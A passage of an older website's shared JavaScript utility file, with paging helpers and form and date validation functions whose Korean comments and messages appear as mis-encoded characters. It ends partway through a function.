
function include_script (type, defer, src)
{
	var script = document.createElement("script") ;
	script.type = type, script.defer = defer ;
	document.getElementsByTagName('head')[0].appendChild(script) ;
	script.src = src ;
}

include_script("text/javascript", true, "/common/js/const.js") ;
include_script("text/javascript", true, "/common/js/comUtil.js") ;
include_script("text/javascript", true, "/common/js/xmlhttp.js") ;

function isTextEmpty(id, msg)
{
    var obj = document.getElementById(id);
    if(trim(obj.value) == "") {
        alert(msg + "(À»)¸¦ ÀÔ·ÂÇØ ÁÖ½Ê½Ã¿ä.");
        obj.focus();
        return false;
    }
    return true;
}

function isComboEmpty(_obj,_msg){
    var objCate = document.getElementById(_obj);
    if(objCate.options[objCate.selectedIndex].value==""){
        alert(_msg+"¸¦(À») ¼±ÅÃÇØ ÁÖ½Ê½Ã¿ä");
        document.getElementById(_obj).focus();
        return false;
    }
    return true;
}

//ÆË¾÷ ³¯Â¥ ¿À´Ã ÀÌÀüÀÏ Ã¼Å©
function CheckTime(f,year,month,day,hour,minute){
	c = new Date();
	c.setDate(c.getDate()-1); // ÇÏ·ç »©¼­ Ã³¸®ÇßÀ½ ¿À´ÃÀÌ 2008-09-19 ÀÌ¸é ½ÇÁ¦·Î´Â 2008-09-18 ·Î Ã³¸®ÇßÀ½

	cYY = c.getYear()
	cMM = c.getMonth()+1
	cDD = c.getDate()

	check1 = cYY
	check1 = ( cMM<10 ) ? check1 + '0' + cMM : check1 + ' ' + cMM
	check1 = ( cDD<10 ) ? check1 + '0' + cDD : check1 + ' ' + cDD
	check1 = check1.replace(/ /gi,'');

	check2 = year + month + day

	//alert(check1 + " / " + check2)

	if ( parseInt(check1) > parseInt(check2) ){
		return false;
	} else {
		return true;
	}
}
/********************************************************************
*  Function Name	: movePage(page, url)
*  Description		: ÄÚµåº° ¸Þ½ÃÁö Ã³¸® ÇÔ¼ö
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function movePage(page, url) {
	/*
	var form = document.frmMain;
	form.action = url;
	form.currentPage.value = page;		
	form.submit();
	*/
	var srchFlag = getFormObj("srchFlag").value;
	var srchWord = getFormObj("srchWord").value;
	var brdId = getFormObj("brdId").value;

	if(navigator.appName == "Microsoft Internet Explorer"){
		srchWord = escape(srchWord);
	}else{
		srchWord = srchWord;
	}

	location.href = url+"?srchFlag="+srchFlag+"&srchWord="+srchWord+"&currentPage="+page+"&brdId="+brdId;
}

//2010-04-15 ±è´öÃ¶ Ãß°¡ idÇÏ°í name°ªÀÌ ´Ù¸¥°æ¿ì explorer8È£È¯¹®Á¦ 
/********************************************************************
*  Function Name	: movePage(page, url)
*  Description		: ÄÚµåº° ¸Þ½ÃÁö Ã³¸® ÇÔ¼ö
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function movePage2(page, url) {
	/*
	var form = document.frmMain;
	form.action = url;
	form.currentPage.value = page;		
	form.submit();
	*/
	var srchFlag = getFormObj("search_opt").value;
	var srchWord = getFormObj("search_word").value;
	var brdId = getFormObj("brdId").value;

	if(navigator.appName == "Microsoft Internet Explorer"){
		srchWord = escape(srchWord);
	}else{
		srchWord = srchWord;
	}

	location.href = url+"?srchFlag="+srchFlag+"&srchWord="+srchWord+"&currentPage="+page+"&brdId="+brdId;
}



/********************************************************************
*  Function Name	: moveCmtPage(page, url)
*  Description		: ÄÚµåº° ¸Þ½ÃÁö Ã³¸® ÇÔ¼ö
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function moveCmtPage(page, url) {
	/*
	var form = document.frmMain;
	form.action = url;
	form.currentPage.value = page;		
	form.submit();
	*/
	var srchFlag = getFormObj("srchFlag").value;
	var srchWord = getFormObj("srchWord").value;
	var brdId = getFormObj("brdId").value;

	if(navigator.appName == "Microsoft Internet Explorer"){
		srchWord = escape(srchWord);
	}else{
		srchWord = srchWord;
	}

	location.href = url+"?srchFlag="+srchFlag+"&srchWord="+srchWord+"&currentCmtPage="+page+"&brdId="+brdId;
}
/********************************************************************
*  Function Name	: moveCmtPage(page, url)
*  Description		: Áú¹®°Ô½ÃÆÇ ÆäÀÌÂ¡
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function moveQnaPage(page, url) {
	var srchFlag = getFormObj("srchFlag").value;
	var srchFlag2 = getFormObj("srchFlag2").value;
	var srchWord = getFormObj("srchWord").value;
	var brdId = getFormObj("brdId").value;

	if(navigator.appName == "Microsoft Internet Explorer"){
		srchWord = escape(srchWord);
	}else{
		srchWord = srchWord;
	}

	location.href = url+"?srchFlag="+srchFlag+"&srchFlag2="+srchFlag2+"&srchWord="+srchWord+"&currentPage="+page+"&brdId="+brdId;
}

/********************************************************************
*  Function Name	: moveConcasePage(page, url)
*  Description		: ½Ã°ø»ç·Ê ÆäÀÌÂ¡
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function moveConcasePage(page, url) {
	var srchYear = getFormObj("srchYear").value;
	
	var brdId = getFormObj("brdId").value;
	location.href = url+"?srchYear="+srchYear+"&brdId="+brdId+"&currentPage="+page;
}

/********************************************************************
*  Function Name	: moveDaelimPage(page, url)
*  Description		: ´ë¸²È°µ¿ ÆäÀÌÂ¡
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function moveDaelimPage(page, url) {
	var srchYear = getFormObj("srchYear").value;
	location.href = url+"?srchYear="+srchYear+"&currentPage="+page;
}

/********************************************************************
*  Function Name	: moveDaelimPage(page, url)
*  Description		: ´ë¸²È°µ¿ ÆäÀÌÂ¡
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function moveDaelimPage2(page, url) {
	var srchYear = getFormObj("search_opt").value;
	location.href = url+"?srchYear="+srchYear+"&currentPage="+page;
}


/********************************************************************
*  Function Name	: moveFaqPage(page, url)
*  Description		: FAQ ÆäÀÌÂ¡
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function moveFaqPage(page, url) {
	var srchDivision = getFormObj("srchDivision").value;
	var srchFlag = getFormObj("srchFlag").value;
	var srchWord = getFormObj("srchWord").value;
	var brdId = getFormObj("brdId").value;

	if(navigator.appName == "Microsoft Internet Explorer"){
		srchWord = escape(srchWord);
	}else{
		srchWord = srchWord;
	}

	location.href = url+"?srchFlag="+srchFlag+"&srchDivision="+srchDivision+"&srchWord="+srchWord+"&currentPage="+page+"&brdId="+brdId;
}

//2010-04-15 ±è´öÃ¶ Ãß°¡ id¿Í name°ªÀÌ ´Ù¸¦¶§ explorer8¿¡¼­ id°ªÀ» È£ÃâÇÑ´Ù. µû¶ó¼­ ¹ö±×°¡ ³ª´Â ¸®½ºÆ® ÆäÀÌÁö´Â »õ·Î »ý¼º È£ÃâÇÏ´Â ÆäÀÌÁö ÇÔ¼ö º¯°æ
/********************************************************************
*  Function Name	: moveFaqPage(page, url)
*  Description		: FAQ ÆäÀÌÂ¡
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function moveFaqPage2(page, url) {
	var srchDivision = getFormObj("search_opt").value;
	var srchFlag = getFormObj("search_opt2").value;
	var srchWord = getFormObj("search_word").value;
	var brdId = getFormObj("brdId").value;

	if(navigator.appName == "Microsoft Internet Explorer"){
		srchWord = escape(srchWord);
	}else{
		srchWord = srchWord;
	}

	location.href = url+"?srchFlag="+srchFlag+"&srchDivision="+srchDivision+"&srchWord="+srchWord+"&currentPage="+page+"&brdId="+brdId;
}



/********************************************************************
*  Function Name	: moveFaqPage(page, url)
*  Description		: FRONT ÀÚ·á½Ç ÆäÀÌÂ¡
*								pCurrentPage °¢ÆäÀÌÁö¿¡ È÷µç°ªÀ¸·Î ¼±¾ð.
*  Input Data       : page(ÀÌµ¿ÇÒÆäÀÌÁöno), url(ÀÌµ¿ÇÒ ÆäÀÌÁö)
*  Output Data		: none 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function movePdsPage(page, url) {
	var srchFlag = getFormObj("srchFlag").value;
	var srchWord = getFormObj("srchWord").value;
	var type1Cd = getFormObj("type1Cd").value;
	var type3Cd = getFormObj("type3Cd").value;
	var brdId = getFormObj("brdId").value;

	if(navigator.appName == "Microsoft Internet Explorer"){
		srchWord = escape(srchWord);
	}else{
		srchWord = srchWord;
	}

	location.href = url+"?srchFlag="+srchFlag+"&type1Cd="+type1Cd+"&srchWord="+srchWord+"&currentPage="+page+"&brdId="+brdId;
}

/********************************************************************
*	±èÅÂÈÆ Ãß°¡
*  Function Name	: chkFCKeditorForm(srcObj)
*  Description		: FCKEditor ³»¿ë ÀÔ·ÂÃ¼Å© ¹× ÀÌ¹ÌÁö ¼±ÅÃ¿©ºÎ Ã¼Å©
*  Input Data       : form(form °³Ã¼) 
*							: action(ÀÌ¹ÌÁö Ã¼Å©¿©ºÎ)
*  Output Data		: boolean 
*  »ç¿ëµÇ´Â Function : 
/********************************************************************/
function chkFCKeditorForm(form, action) {

	var fck, fckObj, value;
	var imgObj, imgLen, firstImg, img;
	//var form = document.editForm;
	var able = false;
	try
	{
		fck = FCKeditor1___Frame.FCK;
		fckObj = (fck.EditMode == 1)?fck.EditingArea:fck.EditorDocument;
		value = (fck.EditMode == 1)?fckObj.Textarea.value:fckObj.body.innerHTML;
		value = value.replace(/(<[^>]+>|\&nbsp;)/g,"");

		// ÀÌ¹ÌÁö ÃßÃâ(Æ÷Åä°Ô½ÃÆÇÀÎ °æ¿ì Àû¿ë - ÀÛ¼ºµÈ ³»¿ëÁß Ã¹¹øÂ° ÀÌ¹ÌÁö¸¦ ÃßÃâÇÑ´Ù).
		if(action == "Image") {
			imgObj = fckObj.images;
			
			if (imgObj.length > 0) {
				imgLen = imgObj.length;
				firstImg = imgObj[0].src;
				form.FCKeditor1_FirstImage.value = firstImg;
				able = true;
				
			} else {
				alert("ÀÌ¹ÌÁö¸¦ ¼±ÅÃÇÏ¼¼¿ä");
				FCKeditor1___Frame.FCK.Focus;
			}
		} else {
			if(value == "") {
				alert("³»¿ëÀ» ÀÔ·ÂÇÏ¼¼¿ä");
				FCKeditor1___Frame.FCK.Focus;
			} else
				able = true;
		}
		return able;
	}
	catch (e)
	{
		alert("chkFCKeditorForm : " + e.description);
		return false;
	}
	//form.submit.disabled = true;

}

/*°Ë»ö±â°£ °Ë»ç: °Ë»ö±â°£ ÀÌ³»ÀÌ¸é false, ¹üÀ§¸¦ ¹þ¾î³ª¸é true */
function doCheckDuring(sobj, eobj, month) {
	var chkValue = false;
	var sdate;
	var edate;
	var tmpDate;
	sdate = new Date(sobj.substring(0,4),sobj.substring(4,6),sobj.substring(6,8));
	edate = new Date(eobj.substring(0,4),eobj.substring(4,6),eobj.substring(6,8));
	varDate = new Date(eobj.substring(0,4),eobj.substring(4,6)-month,eobj.substring(6,8));
	if(sdate >= varDate){
//		alert("Á¤ÇØÁø °Ë»ö±â°£³»¿¡ ¼ÓÇÔ");
	}else{
		chkValue = true;
//		alert("Á¤ÇØÁø °Ë»ö±â°£À» ¹þ¾î³²");
	}
	return chkValue;
}

function korSubstring(vn_str,vn_maxlength,end){
	var vn_sumlength=0;
	var vn_restr='';
	for(var i= 0;i < vn_str.length; i++){
		if( escape(vn_str.charAt(i)).length > 3 ) { vn_length = 2; }
		else if (vn_str.charAt(i) == '<' || vn_str.charAt(i) == '>') { vn_length = 4; }
		else { vn_length = 1 ; }
		if ( vn_maxlength < (vn_sumlength + vn_length) ) {
			vn_restr = vn_restr+end;
			break;
		}
		vn_sumlength += vn_length;
		vn_restr += vn_str.charAt(i);
	}
//	alert(vn_restr);
	return (vn_restr);
}

function korSubstring_bak(str,size,end){

	var sIdx = 0;
	var eIdx = 0;
	try{
		sIdx = str.lastIndexOf("&");
		eIdx = str.lastIndexOf(";");
		//alert(sIdx+":"+eIdx);
		if(sIdx != -1 && eIdx != -1 && sIdx<eIdx && sIdx+5==eIdx){
			if(size>(eIdx-5)) size=size+size-(eIdx-5);
		}
	}catch(e){
		size=20;
	}
	if(str.length > size){
		str=str.substr(0,size)+end;
	}
	return str;
}
function getFormObj(idName){
	return document.getElementById(idName);
}
function isStartDateBig(sdt,edt){
	sdt = parseInt(sdt,10);
	det = parseInt(edt,10);
	if(sdt>edt){
		return true;
	}
	return false;
}
/*Ã¼Å©¹Ú½º È¤Àº ¶óµð¿À¹öÆ°ÀÇ Ã¼Å©µÈ °ªÀ» ¸®ÅÏ*/
function doCheckValue(obj) {
	var chkValue;
	for(var i = 0; i < obj.length; i++) {
		if(obj[i].checked == true) {
			chkValue = obj[i].value;
			break;
		}
	}
	return chkValue;
}

/*¼¿·ºÆ® ¹Ú½ºÀÇ ¼±ÅÃµÈ °ªÀ» ¸®ÅÏ*/
function doCheckSelValue(obj) {
	var chkValue;
	for(var i = 0; i < obj.length; i++) {
		if(obj[i].selected == true) {
			chkValue = obj[i].value;
			break;
		}
	}
	return chkValue;
}

function openWindow(url, name, width, height) {
	var features = "left=20, top=20, width=" + width + "px, height=" + height + "px, menubar=1, toolbar=1, resizable=1, scrollbars=1, status=1";
	return window.open(url, name, features);
}

function openPopup(url, name, left, top, width, height){
	var features = "left=" + left + ", top=" + top + ", width=" + width + "px, height=" + height + "px";
	return window.open(url, name, features);
}

/*ÅØ½ºÆ® È¤Àº ÅØ½ºÆ®¿¡¾î¸®¾î È¤Àº È÷µç°ªÀÇ NullÀ» È®ÀÎÇÑ´Ù ¹°·Ð °ø¹é¸¸ ÀÔ·ÂÇÑ°Íµµ Ã¼Å©ÇÑ´Ù*/
function isNull(obj) {

	if(obj.value=='') {
		return true;
	}else {
		for(var i = 0; i < obj.value.length; i++) {
			var chr = obj.value.substring(i,1);
			if(chr != ' ' && obj.value.charCodeAt(i)!=32 ) {
				return false;
			}
		}
		return true;
	}
}


function isValueNull( obj ) {
	var valObj = obj.value;
	if(valObj=='') {
		obj.focus();
		return true;
	}else {
		for(var i = 0; i < valObj.length; i++) {
			var chr = valObj.substring(i,1);
			if(chr != ' ' && valObj.charCodeAt(i)!=32 ) {
				return false;
			}
		}
		obj.focus();
		return true;
	}
}

/*Ã¼Å©¹Ú½º È¤Àº ¶óµð¿À°¡ Ã¼Å©µÇ¾úÀ¸¸é true, ¾Æ´Ï¸é false;*/
function doCheck(obj) {
	var flag = false;
	for(var i = 0; i < obj.length; i++) {
		if(obj[i].checked == true) {
			flag = true;
			break;
		}
	}
	return flag;
}

/*¼¿·ºÆ®³ª ¸ÖÆ¼¼¿·ºÆ®ÀÇ ¼±ÅÃÀÌ µÇ¾úÀ¸¸é true ¾Æ´Ï¸é false*/
function doSelect(obj) {
//	for(var i = 0; i < obj.options.length; i++) {
//		if(obj.options[i].selected == true) {
//			return true;
//		}
//	}
	if(obj.options[obj.selectedIndex].value==""){ 
	    obj.focus();
	    return false;
	}else 
	    return true;
}

/*¿µ¹®ÀÎÁö È®ÀÎ ÇÒ¶§ ¿µ¹®ÀÌ¸é true,¾Æ´Ï¸é false ¸®ÅÏ*/
function isEnglish(obj) {
	for(var i = 0; i < obj.value.length; i++) {
		var chr = obj.value.substr(i,1);
		if((chr < '0' || chr > '9') && (chr < 'a' || chr > 'z') && (chr < 'A' || chr > 'Z') && (chr > '_' || chr < '_' )) {
			return false;
		}
	}
	return true;
}

function isFileName(obj) {
	for(var i = 0; i < obj.value.length; i++) {
		var chr = obj.value.substr(i,1);
		if((chr < '0' || chr > '9') && (chr < 'a' || chr > 'z') && (chr < 'A' || chr > 'Z')  && (chr > '_' || chr < '_' ) && (chr > '.' || chr < '.' ) ){
			return false;
		}
	}
	return true;
}
/**
 * È®ÀåÀÚ°¡ ÀÌ¹ÌÁö °ü·Ã ÀÌ¸é true ¾Æ´Ï¸é false
 * @param {Object} obj
 */
function isImageFile( obj ) {
	var strIdx = obj.value.lastIndexOf( '.' ) + 1;
	if ( strIdx == 0 ) {
		return false;
	} else {
		var ext = obj.value.substr( strIdx );

		if ( ext == "jpg" || ext == "gif" || ext == "jpeg" || ext == "bmp" || ext == "JPG" || ext == "GIF" || ext == "JPEG" || ext == "BMP"  ) {
			return true;
		} else {
			return false;
		}
	}
}
/**
 * È®ÀåÀÚ°¡ ÇÃ·¡½¬ °ü·Ã ÀÌ¸é true ¾Æ´Ï¸é false
 * @param {Object} obj
 */
function isSwfFile( obj ) {
	var strIdx = obj.value.lastIndexOf( '.' ) + 1;
	if ( strIdx == 0 ) {
		return false;
	} else {
		var ext = obj.value.substr( strIdx );

		if ( ext == "swf" ) {
			return true;
		} else {
			return false;
		}
	}
}
function isDate(obj) {
	for(var i = 0; i < obj.value.length; i++) {
		var chr = obj.value.substr(i,1);
		if((chr < '0' || chr > '9') && (chr != '/') && (chr != '-') ){
			return false;
		}
	}
	return true;
}

/*ÇÑ±ÛÀÎÁö È®ÀÎÇÑ´Ù ÇÑ±ÛÀÌ Á¸ÀçÇÏ¸é true, ±×·¸Áö ¾ÊÀ¸¸é false*/
function isKorean(obj) {

	for(i=0;i<obj.value.length;i++) {
		var a=obj.value.charCodeAt(i);
		if (a < 48 || a > 128 ) {
			return true;
		}
	}
	return false;
}


/*ÀÌ¸ÞÀÏ Çü½ÄÀ» È®ÀÎÇÒ¶§ ÀÌ¸ÞÀÏÀÌ¸é true,¾Æ´Ï¸é false ¸®ÅÏ*/
function isEmail(obj) {

	if((obj.value.indexOf("@") == -1) || (obj.value.indexOf(".") == -1)) {
		return false;
	}

	if(obj.value.indexOf("@") > obj.value.indexOf('.') ) {
		return false;
	}

	if(obj.value.indexOf("@") < 1 || obj.value.indexOf(".") == (obj.value.length -1) ) {
		return false;
	}
	return true;
}

/*¼ýÀÚ ÀÎÁö È®ÀÎ ÇÒ¶§ ¼ýÀÚÀÌ¸é true,¾Æ´Ï¸é false ¸®ÅÏ*/
function isNumber(obj) {
	for(var i = 0; i < obj.value.length; i++) {
		var chr = obj.value.substr(i,1);
		if(chr < '0' || chr > '9') {
			obj.focus();
			return false;
		}
	}
	return true;
}
/*ÆÛ¼¾Å×Áö°¡ ¸Â´ÂÁö È®ÀÎÇÑ´Ù ¸ÂÀ¸¸é true ¾Æ´Ï¸é false*/
function isPercentage(obj) {
	for(var i = 0; i < obj.value.length; i++) {
		var chr = obj.value.substr(i,1);
		if( (chr < '0' || chr > '9' ) && (chr != '%') ) {
			return false;
		}
	}
	if(obj.value.indexOf('%') != (obj.value.length -1) || obj.value.indexOf('%') == 0) {
		return false;
	}
	return true;
}

/*ÆÛ¼¾Æ® ¾Æ´Ï¸é ¼ýÀÚ·Î ÀÔ·ÂµÇ¾ú´ÂÁö È®ÀÎ ÇÑ´Ù ¸ÂÀ¸¸é true ¾Æ´Ï¸é false*/
function isNumOrPer(obj) {
	for(var i = 0; i < obj.value.length; i++) {
		var chr = obj.value.substr(i,1);
		if( (chr < '0' || chr > '9' ) && (chr != '%') ) {
			return false;
		}
	}
	if(obj.value.indexOf('%') != -1) {
		if(obj.value.indexOf('%') != (obj.value.length -1) || obj.value.indexOf('%') == 0) {
			return false;
		}
	}
	return true;

}

/*°ø¹éÀ» Çã¿ëÇÏÁö ¾ÊÀ»¶§ °ø¹éÀÌ ÀÖÀ¸¸é true ¾øÀ¸¸é false*/
function checkBlank(obj) {
	for(var i = 0; i < obj.value.length; i++) {
		var chr = obj.value.substr(i,1);
		if(chr == ' ') {
			return true;
		}
	}
	return false;
}

/*¹®ÀÚ¿¡ byte ±æÀÌ¸¦ Ã¼Å©ÇÑ´Ù ¹üÀ§ ¾È¿¡ ¾øÀ¸¸é false ±×·¸Áö ¾ÊÀ¸¸é true*/
function checkLength(obj, start, end) {
	var le = length2(obj.value);
	if(le < start || le > end) {
		return false;
	}else{
		return true;
	}

}

/*2°³ÀÇ Æû value°¡ ÀÏÄ¡ÇÏ´ÂÁö È®ÀÎ ÇÑ´Ù °°À¸¸é true ´Ù¸£¸é false*/
function isEquals(obj1,obj2){
	if(obj1.value == obj2.value){
		return true;
	}
	return false;
}

function stripHTMLtag(string) {
   var objStrip = new RegExp();
   objStrip = /[<][^>]*[>]/gi;
   return string.replace(objStrip, "");
}


function over(obj) {
	if(obj != null) {
		obj.style.backgroundColor = "#F9F9F9";
	}
}

function mouseover(obj) {
	if(obj != null) {
		obj.style.backgroundColor = "#EEEEEE";
	}
}

function out(obj) {
	if(obj != null) {
		obj.style.backgroundColor = "#FFFFFF";
	}
}

function mouseout(obj) {
	if(obj != null) {
		obj.style.backgroundColor = "#FFFFFF";
	}
}


function replateStr(str,oldStr,newStr) {
	var position = 0;
	var resultString = str;
	var prefixString = "";
	var suffixString = "";
	var isFirst = true;

	do{
		position = resultString.indexOf(oldStr,isFirst ? position : position + length2(newStr));
		if(position < 0) {
			break;
		}
		prefixString = resultString.substring(0,position);
		suffixString = resultString.substring(position + length2(oldStr));
		resultString = prefixString + newStr + suffixString;

		isFirst = false;
	}while(position > -1);

	return resultString;

}

/**
 * ´ë»ó ¹®ÀÚ¿­ÀÇ ¹ÙÀÌÆ®¼ö¸¦ ¹ÝÈ¯ÇÑ´Ù.
 */
function length2(str){
  var len = 0;

  for (var i=0; i < str.length; i++) {
    var n = str.charCodeAt(i);
    if ((n >= 0)  && (n < 256)){
      len ++;
    }else{
      len += 2;
    }
  }
  return len;
}

function checkStrLength( strObj, maxLength ) {
	if ( length2( strObj.value ) > maxLength )
	{
		return;
	} else {
		return true;
	}
}

/**
 * ¹®ÀÚÀÚ¸£´Â ·ÎÁ÷
 */
function cut_string(query,max,obj,cobj)												//¹®ÀÚÀÚ¸£´Â ·ÎÁ÷
{
       var tmpStr;
       var temp=0;
       var onechar;
       var tcount;
       tcount = 0;

       tmpStr = new String(query);
       temp = tmpStr.length;

       for(k=0;k<temp;k++)
       {
            onechar = tmpStr.charAt(k);

            if(escape(onechar).length > 4 || onechar == '\n' ) {
                 tcount += 2;
            }
            else if(onechar!='\r') {
                 tcount++;
            }

            if(tcount>max) {
                 tmpStr = tmpStr.substring(0,k);
                 break;
            }
       }

		obj.value = tmpStr;

		//cal_byte(obj.value,max, obj ,cobj);

       return tmpStr;
}

/**
 * ´ë»ó obj ÅØ½ºÆ® ¿¡¾î¸®¾î °´Ã¼ÀÇ ÀÔ·Â ÃÖ´ë°ªÀ» Ã¼Å©ÇÑ´Ù.
 */
function checkTextAreaLength( obj, max, cobj ) {

	var tmpStr, tcount;
   	tmpStr = obj.value;

	var strLen = cal_byte( tmpStr, max );//length2( obj.value );

	if ( strLen > max ) {

        alert("ÃÖ´ë "+ max +"Byte±îÁö¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.\nÃÊ°úµÈ ±ÛÀÚ´Â ÀÚµ¿À¸·Î »èÁ¦ µË´Ï´Ù.");
        tmpStr = cut_string( tmpStr, max, obj, cobj );
        cobj.value = cal_byte( tmpStr, max );
		return false;
	}
	cobj.value = strLen;
	return true;
}


function checkTextByte( obj, max ) {

    var tmpStr, tcount;
    tmpStr = obj.value;

    var strLen = cal_byte( tmpStr, max );//length2( obj.value );

    if ( strLen > max ) {

        alert("ÃÖ´ë "+ max +"Byte±îÁö¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.");
        obj.select();
        return false;
    }
    return true;
}

/**
 * ´ë»ó obj ÅØ½ºÆ® ¿¡¾î¸®¾î °´Ã¼ÀÇ ÀÔ·Â ÃÖ´ë°ªÀ» Ã¼Å©ÇÑ´Ù.
 */
function checkTextLength( obj, max ) {

	var tmpStr, tcount;
   	tmpStr = obj.value;

	var strLen = cal_byte( tmpStr, max );//length2( obj.value );

	if ( strLen > max ) {

		alert("ÃÖ´ë "+ max +"Byte±îÁö¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.\nÃÊ°úµÈ ±ÛÀÚ´Â ÀÚµ¿À¸·Î »èÁ¦ µË´Ï´Ù.");
		tmpStr = cut_string( tmpStr, max, obj, "" );
		return false;
	}
	return true;
}

/**
 * ´ë»ó obj ÅØ½ºÆ® ¿¡¾î¸®¾î °´Ã¼ÀÇ ÀÔ·Â ÃÖ´ë°ªÀ» Ã¼Å©ÇÑ´Ù.
 */
function checkTextLength2( obj, max ) {

	var tmpStr, tcount;
   	tmpStr = obj.value;

	var strLen = cal_byte( tmpStr, max );//length2( obj.value );

	if ( strLen > max ) {

		alert("ÃÖ´ë ÇÑ±Û 50ÀÚ, ¿µ¹® 100ÀÚ ±îÁö¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.\nÃÊ°úµÈ ±ÛÀÚ´Â ÀÚµ¿À¸·Î »èÁ¦ µË´Ï´Ù.");
		tmpStr = cut_string( tmpStr, max, obj, "" );
		return false;
	}
	return true;
}


/**
 * ´ë»ó qury¹®ÀÚ¿­ÀÇ ¹ÙÀÌÆ®¼ö¸¦ °³»êÇØ¼­ max±îÁö ÁöÁ¤µÈ TextÃ¢ÀÇ °ªÀ» °»½ÅÇÑ´Ù.
 */
function cal_byte(query, max )												// ÀÔ·Â ¹ÙÀÌÆ® ¼ö °è»ê
{
       var tmpStr;
       var temp=0;
       var onechar;
       var tcount;
       tcount = 0;

       tmpStr = new String(query);
       temp = tmpStr.length;

       for (k=0;k<temp;k++)
       {
            onechar = tmpStr.charAt(k);

            if (escape(onechar).length > 4 || onechar == '\n' ) {
                 tcount += 2;
            }
            else if (onechar!='\r') {
                 tcount++;
            }

       }

       return tcount;
}

function cutText( query, max, obj, cobj ) //¹®ÀÚ¿­ÀÚ¸£±â
{
	cut_string(query, max, obj, cobj );
}

/**
 * YYYY[div_char]MM[div_char]DD Çü½ÄÀÇ ³¯Â¥¸¦ ¹Þ¾Æ Today º¸´Ù ÀÛÀ¸¸é false¸¦ ¹ÝÈ¯ÇÑ´Ù.
 * ex ) YYYY-MM-DD --> 2005-01-04
 */
function dateCheck( obj, div_char ) {

	if( obj.value == "" ) {
		obj.click();
		return;
	}

	var toDay = new Date();
	var year = toDay.getYear();
	var month = fillLPad( new String( toDay.getMonth() + 1 ), "0", 2 );
	var day = fillLPad( new String( toDay.getDate() ), "0", 2 );
	var date =  year + month + day ;

	var checkDate = replateStr( obj.value, div_char, "" );

	if( date > checkDate ) {
		alert( "ÇöÀçº¸´Ù °ú°ÅÀÇ ³¯Â¥¸¦ ÀÔ·ÂÇÒ ¼ö ¾ø½À´Ï´Ù." );
		obj.value = "";
		return false;
	} else {
		return true;
	}
}

/**
 * ÁöÁ¤ÇÑ fill_charÀ» ´ë»ó strÀÇ ¿ÞÂÊ¿¡ len °¡ µÉ¶§±îÁö Ã¤¿ì°í ¹ÝÈ¯ÇÑ´Ù.
 */
function fillLPad( str, fill_char, len ) {
	while( str.length < len ) {
		str = fill_char + str;
	}
	return str;
}


function dateTermCheck( startObj, endObj, option ) {

	if ( option == "1" ) {
		if ( !dateCheck( startObj, "-" ) ) {
			startObj.click();
			return false;
		}

		if ( !dateCheck( endObj, "-" ) ) {
			endObj.click();
			return false;
		}
	}

	var startDate = replateStr( startObj.value, "-", "" );
	var endDate = replateStr( endObj.value, "-", "" );

	if ( endDate <= startDate ) {
		alert( "Á¾·áÀÏÀº ½ÃÀÛ³¯Â¥¿Í °°°Å³ª ÀÌÀü ³¯Â¥ÀÏ¼ö ¾ø½À´Ï´Ù." );
		return false;
	} else {
		return true;
	}


	return true;
}

/**
 * ¾ÆÀÌµð µî·Ï½Ã ½Ã½ºÅÛ¿¡¼­ »ç¿ëÇÏ´Â ¿¹¾à¾î³ª ºÒ·® ¾ÆÀÌµð µîÀ» ¼±º°ÇÑ´Ù.
 */
function checkSystemID( obj ) {
	var flag = false;
    arrList = new Array();

